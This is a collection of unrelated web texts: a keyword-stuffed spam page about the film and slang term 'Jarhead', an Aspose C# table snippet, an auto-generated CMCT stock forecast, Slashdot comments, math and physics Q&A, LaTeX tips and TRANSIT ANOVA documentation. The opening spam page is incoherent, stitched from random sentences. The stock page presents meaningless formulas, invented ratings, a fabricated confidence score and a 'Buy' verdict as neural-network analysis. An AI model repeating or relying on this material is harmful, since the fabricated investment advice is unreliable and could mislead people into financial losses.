· Today on Jarhead me and MSgt Lukas "TJ" Atwell discuss Marine Corps leadership, and how wayward souls tend to gravitate to the Marine Corps, only to be transformed into capable, and often formidable leaders. Betriebst&228;tte ist jede feste Gesch&228;ftseinrichtung oder Anlage, die der T&228;tigkeit eines Unternehmens dient. Just as completed items which fit the definition of “done” are said to be “DONE-done”, items that fit the definition of ready are called “READY. The title comes from the slang term used to refer to United States Marines. He apparently believed in being brutally honest with others and that their feelings were irrelevant.
Jarhead6 - YouTube I am a follower of Christ, a husband, and a father. This memoir was the basis of the film of the same name, directed by Sam Mendes. Put even more simply, the leader is the inspiration and director of the action. The license shall not restrict any party from selling or giving away the software as a component of an aggregate software distribution containing programs from several different sources. About the IHRA working definition of antisemitism.
Effective leadership is based upon ideas (whether original or borrowed), but won&39;t happen unless those ideas can be communicated to others in a way that engages them enough to act as the leader wants them to act. The Department of State has used a working definition, along with examples, of anti-Semitism since. Building information modeling (BIM) is a process supported by various tools, technologies and contracts involving the generation and management of digital representations of physical and functional characteristics of places.
The movie begins with a voice over by Jack Gyllenhaal who plays the main character Anthony Swofford. Some examples of Schedule I drugs are: heroin, lysergic acid diethylamide (LSD), marijuana (cannabis), 3,4. Canvas depth is 1-1/2" thick. Jarhead – Fun Facts That You Did Not Know.
A headache may appear as a sharp pain, a throbbing sensation or a dull ache. What is leadership? How to use definition in a sentence. Jarhead - Idioms by. : an early article by Bill Wake calls attention to the possible inconsistencies arising from terms commonly used within teams, such as. Jarhead means a member of the United States Marine Corps. Another word for definition.
Why are United States Marines called Jarheads? If you want to be pernament logged-in, check in form remember me. Rent Jarhead 3: The Seige () starring Scott Adkins and Dennis Haysbert on DVD and Blu-ray. Marine Anthony Swofford's Gulf War memoir of the same name. Shipped with USPS First Class.
Popular and trusted online dictionary with over 1 million words. Definition By Mayo Clinic Staff. Jarhead definition: a member of the United States Marine Corps | Meaning, pronunciation, translations and examples. &0183;&32;(slang) A US marine. The terms &92;&92;"leadership&92;&92;" and &92;&92;"management&92;&92;" tend to be used interchangeably.
Sampled in 'Jesus Walks' O. , &167;&167; 1, 2 (Mar. &167;813 for the schedule. Jarhead - la fin de l'innocence regarder et t&233;l&233;charger HD Quality Et&233; 1990. A chronic disease is one lasting 3 months or more, by the definition of the U. Welcome to the suck.
Start your free trial to watch Jarhead 3: The Siege and other popular TV shows and movies including new releases, classics, Hulu Originals, and more. It’s a very powerful portrayal. What does the word "Jarhead" mean? From Middle English diffinicioun, from Middle French definition, from Latin dēfīnītiō, from dēfīniō. 321, &167;&167; 1, 2, 35 Stat. Human trafficking involves the use of force, fraud, or coercion to obtain some type of labor or commercial sex act.
Com is the world’s leading online source for English definitions, synonyms, word origins and etymologies, audio pronunciations, example sentences, slang phrases, idioms, word games, legal and medical terms, Word of the Day and more. Marines protecting an embassy are caught off guard when well armed militants suddenly attack. This is just one illustration of how the IHRA has equipped policymakers to address this rise in hate and discrimination at their national level.
Federal Poverty Level (FPL) Definition. Internet Information Services (IIS) is a flexible, general-purpose web server from Microsoft that runs on Windows systems to serve requested HTML pages or files. Every year, millions of men, women, and children are trafficked worldwide – including right here in the United States.
email: ewugije@gmail.com - phone:(740) 271-3057 x 5440
### Bedoyecta injection - Pokemon turtle
-> Plural of walrus
-> What does mojo mean
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Contact The Learning Centre
# Fractions
### Fraction definitions
• A fraction represents a part of a whole or, more generally, any number of equal parts.
• The denominator (the number on the bottom of the fraction) tells us how many parts the object is divided into.
• The numerator (the part on the top of the fraction) tells us how many of these parts we have.
• An improper fraction is a fraction where the numerator is larger than the denominator, for example, $$\displaystyle\frac{3}{2}$$.
• A mixed number has a whole number with a fraction, for example $$\displaystyle 1\frac{1}{2}$$.
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We're sorry Aspose doesn't work properply without JavaScript enabled.
# Modifying a table
The documentation concerning tables says that to "start a table’, you simply call InsertCell(). But what do I do if I want to insert rows and cells in the middle of an existing table?
Hi
Thanks for your inquiry. You can try using the following code to insert new row into the existing table
// Open document
Document doc = new Document(@"Test149\in.doc");
// Get table from the document
Table tab = doc.FirstSection.Body.Tables[0];
// Create new row or clone existing row
Row newRow = (Row)tab.FirstRow.Clone(true);
// Insert new row into the table
// Use AppendChield method if you need to insert row at the end of table
tab.Rows.Insert(2, newRow);
// save output document
doc.Save(@"Test149\out.doc");
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Outlook: Creative Media & Community Trust Corporation Common stock is assigned short-term Ba1 & long-term Ba1 estimated rating.
Time series to forecast n: 24 Jan 2023 for (n+1 year)
Methodology : Transfer Learning (ML)
## Abstract
Creative Media & Community Trust Corporation Common stock prediction model is evaluated with Transfer Learning (ML) and Multiple Regression1,2,3,4 and it is concluded that the CMCT stock is predictable in the short/long term. According to price forecasts for (n+1 year) period, the dominant strategy among neural network is: Buy
## Key Points
1. What are the most successful trading algorithms?
2. How accurate is machine learning in stock market?
3. What are the most successful trading algorithms?
## CMCT Target Price Prediction Modeling Methodology
We consider Creative Media & Community Trust Corporation Common stock Decision Process with Transfer Learning (ML) where A is the set of discrete actions of CMCT stock holders, F is the set of discrete states, P : S × F × S → R is the transition probability distribution, R : S × F → R is the reaction function, and γ ∈ [0, 1] is a move factor for expectation.1,2,3,4
F(Multiple Regression)5,6,7= $\begin{array}{cccc}{p}_{a1}& {p}_{a2}& \dots & {p}_{1n}\\ & ⋮\\ {p}_{j1}& {p}_{j2}& \dots & {p}_{jn}\\ & ⋮\\ {p}_{k1}& {p}_{k2}& \dots & {p}_{kn}\\ & ⋮\\ {p}_{n1}& {p}_{n2}& \dots & {p}_{nn}\end{array}$ X R(Transfer Learning (ML)) X S(n):→ (n+1 year) $\stackrel{\to }{R}=\left({r}_{1},{r}_{2},{r}_{3}\right)$
n:Time series to forecast
p:Price signals of CMCT stock
j:Nash equilibria (Neural Network)
k:Dominated move
a:Best response for target price
For further technical information as per how our model work we invite you to visit the article below:
How do AC Investment Research machine learning (predictive) algorithms actually work?
## CMCT Stock Forecast (Buy or Sell) for (n+1 year)
Sample Set: Neural Network
Stock/Index: CMCT Creative Media & Community Trust Corporation Common stock
Time series to forecast n: 24 Jan 2023 for (n+1 year)
According to price forecasts for (n+1 year) period, the dominant strategy among neural network is: Buy
X axis: *Likelihood% (The higher the percentage value, the more likely the event will occur.)
Y axis: *Potential Impact% (The higher the percentage value, the more likely the price will deviate.)
Z axis (Grey to Black): *Technical Analysis%
## IFRS Reconciliation Adjustments for Creative Media & Community Trust Corporation Common stock
1. For the purposes of applying the requirements in paragraphs 5.7.7 and 5.7.8, an accounting mismatch is not caused solely by the measurement method that an entity uses to determine the effects of changes in a liability's credit risk. An accounting mismatch in profit or loss would arise only when the effects of changes in the liability's credit risk (as defined in IFRS 7) are expected to be offset by changes in the fair value of another financial instrument. A mismatch that arises solely as a result of the measurement method (ie because an entity does not isolate changes in a liability's credit risk from some other changes in its fair value) does not affect the determination required by paragraphs 5.7.7 and 5.7.8. For example, an entity may not isolate changes in a liability's credit risk from changes in liquidity risk. If the entity presents the combined effect of both factors in other comprehensive income, a mismatch may occur because changes in liquidity risk may be included in the fair value measurement of the entity's financial assets and the entire fair value change of those assets is presented in profit or loss. However, such a mismatch is caused by measurement imprecision, not the offsetting relationship described in paragraph B5.7.6 and, therefore, does not affect the determination required by paragraphs 5.7.7 and 5.7.8.
2. The rebuttable presumption in paragraph 5.5.11 is not an absolute indicator that lifetime expected credit losses should be recognised, but is presumed to be the latest point at which lifetime expected credit losses should be recognised even when using forward-looking information (including macroeconomic factors on a portfolio level).
3. In applying the effective interest method, an entity identifies fees that are an integral part of the effective interest rate of a financial instrument. The description of fees for financial services may not be indicative of the nature and substance of the services provided. Fees that are an integral part of the effective interest rate of a financial instrument are treated as an adjustment to the effective interest rate, unless the financial instrument is measured at fair value, with the change in fair value being recognised in profit or loss. In those cases, the fees are recognised as revenue or expense when the instrument is initially recognised.
4. If, at the date of initial application, it is impracticable (as defined in IAS 8) for an entity to assess whether the fair value of a prepayment feature was insignificant in accordance with paragraph B4.1.12(c) on the basis of the facts and circumstances that existed at the initial recognition of the financial asset, an entity shall assess the contractual cash flow characteristics of that financial asset on the basis of the facts and circumstances that existed at the initial recognition of the financial asset without taking into account the exception for prepayment features in paragraph B4.1.12. (See also paragraph 42S of IFRS 7.)
*International Financial Reporting Standards (IFRS) adjustment process involves reviewing the company's financial statements and identifying any differences between the company's current accounting practices and the requirements of the IFRS. If there are any such differences, neural network makes adjustments to financial statements to bring them into compliance with the IFRS.
## Conclusions
Creative Media & Community Trust Corporation Common stock is assigned short-term Ba1 & long-term Ba1 estimated rating. Creative Media & Community Trust Corporation Common stock prediction model is evaluated with Transfer Learning (ML) and Multiple Regression1,2,3,4 and it is concluded that the CMCT stock is predictable in the short/long term. According to price forecasts for (n+1 year) period, the dominant strategy among neural network is: Buy
### CMCT Creative Media & Community Trust Corporation Common stock Financial Analysis*
Rating Short-Term Long-Term Senior
Outlook*Ba1Ba1
Income StatementBa3B2
Balance SheetBa3Baa2
Leverage RatiosB2C
Cash FlowCaa2C
Rates of Return and ProfitabilityCC
*Financial analysis is the process of evaluating a company's financial performance and position by neural network. It involves reviewing the company's financial statements, including the balance sheet, income statement, and cash flow statement, as well as other financial reports and documents.
How does neural network examine financial reports and understand financial state of the company?
### Prediction Confidence Score
Trust metric by Neural Network: 93 out of 100 with 499 signals.
## References
1. Akgiray, V. (1989), "Conditional heteroscedasticity in time series of stock returns: Evidence and forecasts," Journal of Business, 62, 55–80.
2. Sutton RS, Barto AG. 1998. Reinforcement Learning: An Introduction. Cambridge, MA: MIT Press
3. C. Claus and C. Boutilier. The dynamics of reinforcement learning in cooperative multiagent systems. In Proceedings of the Fifteenth National Conference on Artificial Intelligence and Tenth Innovative Applications of Artificial Intelligence Conference, AAAI 98, IAAI 98, July 26-30, 1998, Madison, Wisconsin, USA., pages 746–752, 1998.
4. Brailsford, T.J. R.W. Faff (1996), "An evaluation of volatility forecasting techniques," Journal of Banking Finance, 20, 419–438.
5. L. Prashanth and M. Ghavamzadeh. Actor-critic algorithms for risk-sensitive MDPs. In Proceedings of Advances in Neural Information Processing Systems 26, pages 252–260, 2013.
6. Chernozhukov V, Chetverikov D, Demirer M, Duflo E, Hansen C, et al. 2016a. Double machine learning for treatment and causal parameters. Tech. Rep., Cent. Microdata Methods Pract., Inst. Fiscal Stud., London
7. J. G. Schneider, W. Wong, A. W. Moore, and M. A. Riedmiller. Distributed value functions. In Proceedings of the Sixteenth International Conference on Machine Learning (ICML 1999), Bled, Slovenia, June 27 - 30, 1999, pages 371–378, 1999.
Frequently Asked QuestionsQ: What is the prediction methodology for CMCT stock?
A: CMCT stock prediction methodology: We evaluate the prediction models Transfer Learning (ML) and Multiple Regression
Q: Is CMCT stock a buy or sell?
A: The dominant strategy among neural network is to Buy CMCT Stock.
Q: Is Creative Media & Community Trust Corporation Common stock stock a good investment?
A: The consensus rating for Creative Media & Community Trust Corporation Common stock is Buy and is assigned short-term Ba1 & long-term Ba1 estimated rating.
Q: What is the consensus rating of CMCT stock?
A: The consensus rating for CMCT is Buy.
Q: What is the prediction period for CMCT stock?
A: The prediction period for CMCT is (n+1 year)
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typodupeerror
## + - The EU proposes all companies share their encryption keys with the government->
An anonymous reader writes: Statewatch published a document revealing that Gilles de Kerchove, the EU counter terrorism coordinator, is advising the EU:
... to explore rules obliging internet and telecommunications companies operating in the EU to provide under certain conditions as set out in the relevant national laws and in full compliance with fundamental rights access of the relevant national authorities to communications (i.e. share encryption keys).
## + - Doomsday Clock is now 3 minutes to midnight!->11
Lasrick writes: Founded in 1945 by University of Chicago scientists who had helped develop the first atomic weapons in the Manhattan Project, the Bulletin of the Atomic Scientists created the Doomsday Clock two years later, using the imagery of apocalypse (midnight) and the contemporary idiom of nuclear explosion (countdown to zero) to convey threats to humanity and the planet. The decision to move (or to leave in place) the minute hand of the Doomsday Clock is made every year by the Bulletin's Science and Security Board in consultation with its Board of Sponsors, which includes 17 Nobel laureates. The Clock has become a universally recognized indicator of the world's vulnerability to catastrophe from nuclear weapons, climate change, and new technologies emerging in other domains. Today, the Clock was moved up 2 minutes; it is now 3 minutes to midnight. Here is the Board's statement on the move.
## Comment: Re:Modern board games (Score 1)171171
Settlers of Catan, you've probably heard about, but that was just the game which enabled the genre; honored for it, but otherwise left behind as a deeply flawed example of what a truly strategic board game should be.
While I agree with the general premise, you manage to give Catan both too much and too little credit. It was definitely not the first game in the genre, though it was probably the one that brought it to mainstream attention. But I don't agree with your statement that it is deeply flawed. I still find the basic game a lot of fun to play.
## Comment: Asimov: "Not as We Know it" (Score 1)221221
I'll confess immediately that I didn't read TFA. I just want to drop this link to a nice Isaac Asimov essay, back from 1962:
Not as We Know it – The Chemistry of Life
Remember that Asimov was a professor of biochemistry. In the article, he investigates alternatives to the chemistry of life as we know it. He comes up with the following list:
[H]ere, then, is my list of life chemistries, spanning the temperature range from near red heat down to near absolute zero:
1. fluorosilicone in fluorosilicone
2. fluorocarbon in sulfur
3.*nucleic acid/protein (O) in water
4. nucleic acid/protein (N) in ammonia
5. lipid in methane
6. lipid in hydrogen
Of this half dozen, the third only is life-as-we-know-it. Lest you miss it, I've marked it with an asterisk.
When you read the article, you may want to skip the first bit and start from about the paragraph "Well, that's what I want to discuss."
## Comment: "Anonymous" is not anonymous at all (Score 1)9595
Many people don't seem to realise that by editing Wikipedia anonymously, you're giving away your IP address for everyone to see. I'd expected a comment to that effect here but didn't, so I'll be the first to post it.
In that sense, editing with a registered account is much more anonymous. Only some Wikipedia staff members can look up your IP address, so edits from Capitol Hill using an account won't be picked up by this twitter bot. Also, those staff members (should) have to follow procedures before they can look up your IP.
## Comment: Re:Not a QC! (Score 1)9696
Please, please use a command like \mathit or \text around text used in maths mode. I see $italics$ far too often still in papers and presentations.
So, you should e.g. write: $\Psi_\mathit{classical computer}$
## Low Levels of Toxic Gas Found To Encourage Plant Growth103103
olsmeister writes "Hydrogen Sulfide is a toxic, flammable, foul-smelling gas that some theorize may have been at least partially responsible for some of Earth's mass extinctions, including the Permian-Triassic event, which killed well over half of the species on the planet. Now, thanks to a fortuitous accident, doctoral student at the University of Washington seems to have discovered that very low doses of the gas seems to greatly enhance plant growth, causing plants to germinate more quickly and grow larger. The finding could have far reaching implications for both food and biofuel production."
## Comment: This guy at seclists.org nailed it (Score 3, Interesting)6565
Michael Sinatra over at seclists.org had the following to say:
If that is "too hard" and/or the analytics stuff is "too valuable" then we need to simply accept the risk that our users will get caught in phishing attacks. The bad guys have figured out that it is very easy to mimic our business practices, and they have gotten very good at doing it. Unless we change those practices, they will find us to be easy pickings.
## Comment: Re:Risky != Risky??? (Score 4, Informative)110110
What Cisco's report actually said is that behaviour often perceived as "safe" (such as online shopping) carries more risk than generally thought.
## Comment: Re:TFA got the probabilities backward (Score 4, Insightful)110110
...and Slashdot's title for the story that "Online Ads Are More Dangerous Than Porn" takes it still a level further. It's certainly not what Cisco said.
## Comment: TFA got the probabilities backward (Score 4, Informative)110110
The summary, and the Security Week article, write that "Users are more 21 times more likely to get hit with malware from online shopping sites than if they'd gone to a counterfeit software site".
Cisco's report says that "Online shopping sites are 21 times more likely to deliver malicious content than counterfeit software sites."
Those statements are not equivalent. Online shopping sites have many more visitors than counterfeit software sites, so they have more opportunity to deliver malware. The same goes for the factor of 27 for search engines.
Also, it's hard to check the factor of 182 for adult sites, since the report doesn't include that number, or in fact even the words "porn" or "adult".
## Comment: See this comparison. Wikipedia is moving, too. (Score 5, Interesting)116116
Here is a comparison of MariaDB vs MySQL.
Probably most important to Fedora is this:
Truly Open Source
• All code in MariaDB is released under GPL, LPGL or BSD. MariaDB does not have closed source modules like the one you can find in MySQL enterprise edition. In fact, all the closed source features in MySQL 5.5 enterprise edition are found in the MariaDB open source version.
• MariaDB includes test cases for all fixed bugs. Oracle doesn't provide test cases for new bugs fixed in MySQL 5.5.
• All bugs and development plans are public.
• MariaDB is developed by the community in true open source spirit.
Wikipedia, too, is moving from MySQL to MariaDB.
## Fedora 19 Nixing MySQL in Favor of MariaDB116116
An anonymous reader writes "Red Hat developers are planning to replace MySQL with MariaDB in Fedora 19. For the next Fedora update, the MariaDB fork would replace MySQL and the official MySQL package would be discontinued after some time. The reasoning for this move is the uncertainty about Oracle's support of MySQL as an open-source project and moves to make the database more closed." Update: 01/22 13:47 GMT by T : Note: "Nixing" may be a bit strong; this move has been proposed, but is not yet officially decided.
I never cheated an honest man, only rascals. They wanted something for nothing. I gave them nothing for something. -- Joseph "Yellow Kid" Weil
Working...
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## Thomas' Calculus 13th Edition
$\dfrac{53}{6}$
We know that the formula to calculate the arc length is defined as: $L=\int_m^n \sqrt {1+[f'(x)]^2} dx$ Re-write the equation as follows: $f'(x)=(y^2-\dfrac{1}{4y^2})$ and $(f'(x))^2=y^4+\dfrac{1}{16 y^4}-\dfrac{1}{2}$ This implies that $L=1+(f'(x))^2=[y^2+\dfrac{1}{4y^2}]^2 \\ \implies L=\sqrt {1+(f'(x))^2}=y^2+\dfrac{1}{4y^2}$ Then, $L=\int_1^3 [y^2+\dfrac{1}{4y^2}] dy$ and $[\dfrac{y^{2+1}}{(2+1)}-\dfrac{1}{4y}]_1^3=[\dfrac{y^{3}}{3}-\dfrac{1}{4y}]_1^3=\dfrac{53}{6}$
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# A mixture of ethane and ethane occupies 41 L at 1 atom and 500 K. the mixture reacts completely with $\large\frac{10}{3}$ mole of $O_2$ to produce $CO_2$ and $H_2O$.The mole fraction of ethane and ethane in the mixture are (R = 0.082L atm $K^{−1} mol^{−1}$) respectively.
Can you answer this question?
## 1 Answer
0 votes
0.67,0.33
Hence (C) is the correct answer.
answered Jun 19, 2014
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# Homework Help: Physical meaning of a result in Bragg's diffraction
1. Sep 21, 2011
### fluidistic
1. The problem statement, all variables and given/known data
The distance between crystal planes in a KCl crystal is about $3.14 \times 10 ^{-10}m$. Calculate the Bragg's reflexion angle of first order for electrons with kinetic energy of 4keV. Compare it with photons that have the same energy.
2. Relevant equations
$\lambda n =2d \sin \theta$.
For an electron, $E _K =(\gamma -1 ) m_e c^2$.
$\lambda _B =\frac{h}{p}$ where $p=\gamma m_e v$.
For photons, $E=\frac{hc}{\lambda}$.
3. The attempt at a solution
Using the equations above and after some algebra, I calculated the velocity of the electrons to be $21530815.57 \frac{m}{s}$, somehow comparable to c.
In the end I found out that for electrons, $\sin \theta \approx 0.053378361$. I am not sure if theta is in degree or radian. I considered degrees so this gave me about $3.059809004°$.
I've done the same for photons (I noticed that they are X-rays since their wavelength is of the order of the Angstrom). I reached $\theta =29.59784517°$.
I'd like to understand why the results are different and why are the electrons less deviated by the atoms in the crystal than the photons with the same energy.
I guess the mass, the charge and the spin play a role, but I'd like to know which one is greater, etc.
If you have any comment(s) on this, please do it. I'm eager to learn.
Thank you.
2. Sep 21, 2011
### rl.bhat
For the same energy, have you compared the wave lengths of photon and electron?
3. Sep 21, 2011
### fluidistic
Hi.
Yes I have. For the electron: around 3.35 x10^-11 m.
For the photon: around 3.10x10^-10m.
So it's obvious that the photon will suffer a bigger angle of diffraction (I have in mind the undergrad lab experiment of diffraction patterns, violet/blue vs red light. The red light, larger wavelength was "more" diffracted than any other color in the visible).
But I don't understand why it is so. For the same energy, a photon will have a larger wavelength than a massive particle; I don't understand why.
4. Sep 22, 2011
### rl.bhat
momentum p = (2mE)^1/2
For photon E = hc/λ or λp = hc/E
For electron λe = h/p = h/ (2mE)^1/2
so λp/λe = c(2m/E)^1/2
Substitute the values and find the ratio.
As you can see the difference in the wave length is due to mass of the electron only.
Last edited: Sep 22, 2011
5. Sep 22, 2011
### ehild
The energy of the electron is equal to its KE + the energy of the rest mass E=KE+mec2. If the photon has this energy, its wavelength is much shorter than that of the electron. I guess you took the photon energy 4KeV.
ehild
6. Sep 22, 2011
### fluidistic
Strangely to me, I reach a ratio of 9.23x10^-4 so almost 10^-3. This implies that the electron has a larger wavelength than the photon (by at least a factor 1000), something that goes in counter of my previous result.
If I'm not diffracted with visible object, isn't it because my de Broglie's wavelength is very, very, very short compared to the size of the visible object?
I had never seen the momentum expressed under the form p=(2mE)^1/2. Also I think I should take the relativistic momentum of the electron like I did, because of it's speed.
Hmm I see. Indeed, I took a photon with E=4keV.
7. Sep 22, 2011
### ehild
p=(2mE)1/2 is the classical relation between the momentum and kinetic energy.
I think the problem should be understood that the photon has the same energy as the KE of the electron, 4 KeV. So your solution was correct.
As the numeric data were not given with more than 3 significant digits, do not give your results with more digits. v/c <0.1, ignoring its square means about 1 % error, so you can use non-relativistic approximation.
You can also get the momentum of the electron using the relation between total energy E=KE+mec2 and momentum p:
E2=p2c2+me2c4.
ehild
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# JEE Novice - (3)
Geometry Level 3
$\Large \sin^8 75^\circ - \cos^8 75^\circ = \ ?$
• Give your answer to correct to 3 decimal places.
###### This question is a part of JEE Novices.
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# Re-writing kinetic energy term by using Euler's homogeneous function theorem
I've been reading Tuckerman's statistical mechanics textbook, in Feynman's path-integral chapter, the book introduced a method to convert from thermodynamic to virial energy estimators by using Euler's homogeneous function theorem:
$\alpha(x_1, \cdots, x_P) = \frac{1}{2} m \omega_P^2 \sum_{k=1}^{P} (x_k - x_{k+1})^2$ the function $\alpha$ is a homogeneous function of degree 2. Hence, applying Euler's theorem, which we can write as:
$\alpha(x_1, \cdots, x_P) = \frac{1}{2} \sum_{k=1}^{P}x_k \frac{\partial \alpha}{\partial x_k}$.
I know the general theorem: $n f(x_1, \cdots, x_P) = \sum_{k=1}^{P} x_k \frac{\partial f}{x_k}$
To prove this is correct, I first let $p=1$, then we arrive $\alpha = \frac{1}{2}m \omega_P^2 (x_1^2 - x_1 x_2 )$, which isn't same as the outcome of Euler's theorem? I'm quite confused about this part, thanks in advance for any help!
• What do you mean "include"? $\frac12m\omega_P^2$ is a multiplicative constant — it does not involve any of the variables. It will be there, on both sides of your equation. Feb 11 '17 at 15:30
• What about trying the dim 1 (i.e $p=1$ case), just to check ? Feb 11 '17 at 16:55
• @Thomas, when $P=1$, $\alpha(x_1, \cdots, x_P) = \frac{1}{2} m \omega_P^2 (x_1^2 - x_1x_2)$ instead, it doesn't reveal its original expression, I think it's because of this $x_{k+1}$ term being troublesome Feb 11 '17 at 23:22
The confusion here is purely because I ignored the physical meaning of $P$ in Feynman's path-integrals. In which case, the resemblance of the partition function to that of a classical cyclic polymer chain of $P$ points to coin the term classical isomorphism and to exploit the isomorphism between the classical and approximate quantum partition functions. In regard to our current question, $P \ge 2$ must be devised in order to form a cyclic polymer, otherwise, we only construct a single particle (reveals classical system with single point).
When $P=2$, $\alpha = \frac{1}{2} m \omega_P^2 [(x_1 - x_2)^2 + (x_2 - x_3)^2] = \frac{1}{2} m \omega_P^2 [(x_1 - x_2)^2 + (x_2 - x_1)^2] = m \omega_P^2(x_1 - x_2)^2$, then the theorem can be easily proved.
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# Prove the set $K = \{0\} \cup \{\frac{1}{n} \in \mathbb{R} : n \in \mathbb{N} \}$ is compact without Heine-Borel
Prove the set $$K = \{0\} \cup \{\frac{1}{n} \in \mathbb{R} : n \in \mathbb{N} \}$$ is compact without Heine-Borel
I have completed the question and used the same procedure that was done in this version: Prove the set $K = \{\frac{1}{n} \mid n\in \mathbb{N}\}\cup \{0\}$ is compact. .
My question though is why this proof is valid? If we are showing the set is compact it means that there must exist a finite sub-cover for all open covers. Is the all condition captured by generalizing $$U$$ to represent any open cover thus meaning all open covers?
Note the beginning of the proof:
Let $$\mathcal{G} = \{G_\alpha \mid \alpha \in A\}$$ be any open cover for $$K$$
(emphasis mine). Since $$\mathcal{G}$$ is a completely arbitrary open cover, anything we can prove about $$\mathcal{G}$$ must in fact be true of every open cover.
This is something we do all the time. E.g. to prove the infinitude of primes:
Let $$n$$ be any natural number. Let $$\{p_1, p_2,..., p_k\}$$ be the set of all prime numebrs $$. It's easy to check that $$p_1\cdot p_2\cdot ...\cdot p_k+1$$ is not divisible by any $$p_i$$ ($$i), and hence must be divisible by some prime $$>n$$. This means for every natural number, there is a larger prime number.
I suspect in the current situation it seems more complicated since the subject matter is more abstract, but it's exactly the same underlying logic.
• Yes it does "seem" more complicated, but it does force one to have to train themselves to really internalize every single word, since small words like any we tend to naturally just breeze over. Thanks for the assistance. Mar 2 '19 at 20:13
The trick is one of the open sets in any cover must contain the $$0$$. No matter what the open cover is or which open set contains $$0$$, there is at least one set in the cover, it contains $$0$$ and it is open. And because that set is open and contains $$0$$ it must have an open ball around $$0$$ entirely contained in the set.
And, here is the trick, no matter how small that open ball is, say it is $$\epsilon > 0$$ in radius, it contains an infinite number of $$\frac 1n < \epsilon$$ in that ball and in that one set. In fact, there are only a finite number of $$\frac 1k$$ that set does not contain.
So we have one open set containing $$0$$ and an infinite number of $$\frac 1n$$ and we only need some of the other open sets to contain a finite number of the $$\frac 1k$$ that aren't already contained in our one open set so far. For each $$\frac 1k$$ not contained, that $$\frac 1k$$ must be contained in one of the other open sets. We take just that one. We do it for each of the $$\frac 1k$$ and take a finite number of open sets.
And that's it, we're done. That's a finite subcover. And it doesn't matter what the actual open cover originally was. We were able to pick a finite subcover from it.
Recap: Pick a set with $$0$$. There always will be one. That set will no matter what, one way or another contain all but a finite number of $$\frac 1n$$. For the finite $$\frac 1k$$ not in the set, pick one open set one at a time till done.
This can always be done.
====
"If we are showing the set is compact it means that there must exist a finite sub-cover for all open covers."
On third reading: No.. there is not a subcover that works for all possible covers. BUT every open cover will have a finite subcover of it. For example:
$$U = \{ (-1,2)\}: K \subset \cup_{O\in U} = (-1,2)$$ has a finite subcover. Itself.
But $$V = \{(-.001, .001)\}\cup (\cup_{n\in\mathbb N; n>1}\{(\frac 1{n+1},\frac 1{n-1})\}\cup \{(.99, 1.1)\}$$ will have the finite subcover:
$$\{(-.001, .001), (\frac 1{1001}, \frac 1{999}), (\frac 1{1000}, \frac 1{998}),....., (\frac 13,1), (\frac .99, 1.1)\}$$
And $$W = \{(-\infty, {10^{-100}})\}\cup_{k=0...\infty}(10^{-k-1}, 10^{-k+1})$$ will have the finite subcover:
$$\{(-\infty, \frac {10^{-100}}), (10^{-101},10^{-99}), (10^{-100}, 10^{98}), ....,(\frac 1{100},1), (\frac 1{10}, 10)\}$$.
There isn't one finite subcover for all open covers. But for every open cover there is a finite subcover for it.
• Thank you for your detailed explanation of the ideas being used in this proof. I'm at that stage in my mathematics journey where the level of abstraction is a lot more challenging. I'm finding you need to REALLY understand the objects that you're working with in order to create these solutions. Mar 3 '19 at 20:21
I see a difference between:
there exists a finite subcover for all open covers
and
there exists a finite subcover for any open cover
The former sounds like all the open covers are collected into one, and that cover has a finite subcover. That is not the definition of compact. In fact, it's not likely to be a useful condition for anything in most contexts.
The latter says that given any open cover there is a finite subcover of that cover. That's the correct interpretation of the definition.
• I wrote it as the first, but actually in my mind am interpreting it as the 2nd....seems like the lesson of the day for me is language. Mar 2 '19 at 20:17
• Just to be clear. There isn't one finite subcover that is a subcover of all open covers. That would be absurd. It's that every open cover will have a finite subcover taken from it, that will work. Different open covers will have different subcover(s) that will work. But EVERY open cover will have some finite subcover that will work. Mar 2 '19 at 20:24
• @fleablood Good point. I elaborated. Mar 3 '19 at 1:46
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# Tag Info
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Don't load inputenc nor fontenc (this one might be needed in special occasions, though) when you compile with XeLaTeX or LuaLaTeX and use fontspec. \documentclass{article} \usepackage[spanish,american]{babel} \usepackage{fontspec} \setmainfont{erewhon} \begin{document} This is American English: Alcalá de Henares \selectlanguage{spanish} Esto es español: ...
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After @UlrikeFischers comment. The solution for me was that I had to change the (default?) smart quote setting to `none' in both the preferences menu for Texworks in general and in the the format menu for existing documents.
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Use \acute{} in mathmode: $\acute{\omega}$ Other accents in mathmode: \documentclass{article} \renewcommand{\arraystretch}{1.5} \begin{document} \section*{Accents in mathmode} \$\begin{array}{llll} \underline{\omega} & \verb|\underline{\omega}| & \overline{\omega} & \verb|\overline{\omega}| \\ \hat{\omega} & ...
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Zallman Caps is installed as part of TeX Live in the form of a type1 font. There is no .sty file but the support files for use with LaTeX are all there and the .sty is easy to write. Here's a version which I compiled with pdfLaTeX: \documentclass[11pt]{article} \begin{filecontents}{Zallman.sty} \NeedsTeXFormat{LaTeX2e} \ProvidesPackage{Zallman}[2007/11/24 ...
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Here, I stack a box that contains a rendition of the accent. I introduce \accentletter[\accentbox]{letter} to accomplish the task, where the user creates various \accentboxes to meet his/her needs. I used \smash on my \accentbox definitions so as not to disturb line spacing, but that is a choice left up to the taste of the user. ...
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If you are willing to buy a font, some sites let you search for the existence of a particular character (e.g., myfonts.com). But you won’t find many sets of ornamental initials that include Ś. If you have a font with the combining acute accent, all is well. Here’s an example with Eadui, a free font. \documentclass[12pt,a5paper]{book} ...
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The Alegreya font seem not to have U+0302 COMBINING CIRCUMFLEX ACCENT, so only precomposed character with the circumflex over them are available. However, it has U+02C6 MODIFIER LETTER CIRCUMFLEX ACCENT that can be used as substitute. \documentclass{article} \usepackage{fontspec} \setmainfont{Alegreya} \newcommand{\fhat}[1]{\accent"02C6 #1} ...
Top 50 recent answers are included
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# ANOVA¶
The Anova (Analysis of variance) method is used to determine which genes exhibit statistically significant variability of insertion counts across multiple conditions. Unlike other methods which take a comma-separated list of wig files as input, the method takes a combined_wig file (which combined multiple datasets in one file) and a samples_metadata file (which describes which samples/replicates belong to which experimental conditions).
## How does it work?¶
The method performs the One-way anova test for each gene across conditions. It takes into account variability of normalized transposon insertion counts among TA sites and among replicates, to determine if the differences among the mean counts for each condition are significant.
## Example¶
> python3 transit.py anova <combined wig file> <samples_metadata file> <annotation .prot_table> <output file> [Optional Arguments]
Optional Arguments:
-n <string> := Normalization method. Default: -n TTR
--exclude-conditions <cond1,...> := Comma separated list of conditions to ignore for the analysis. Default: None
--include-conditions <cond1,...> := Comma separated list of conditions to include for the analysis. Default: All
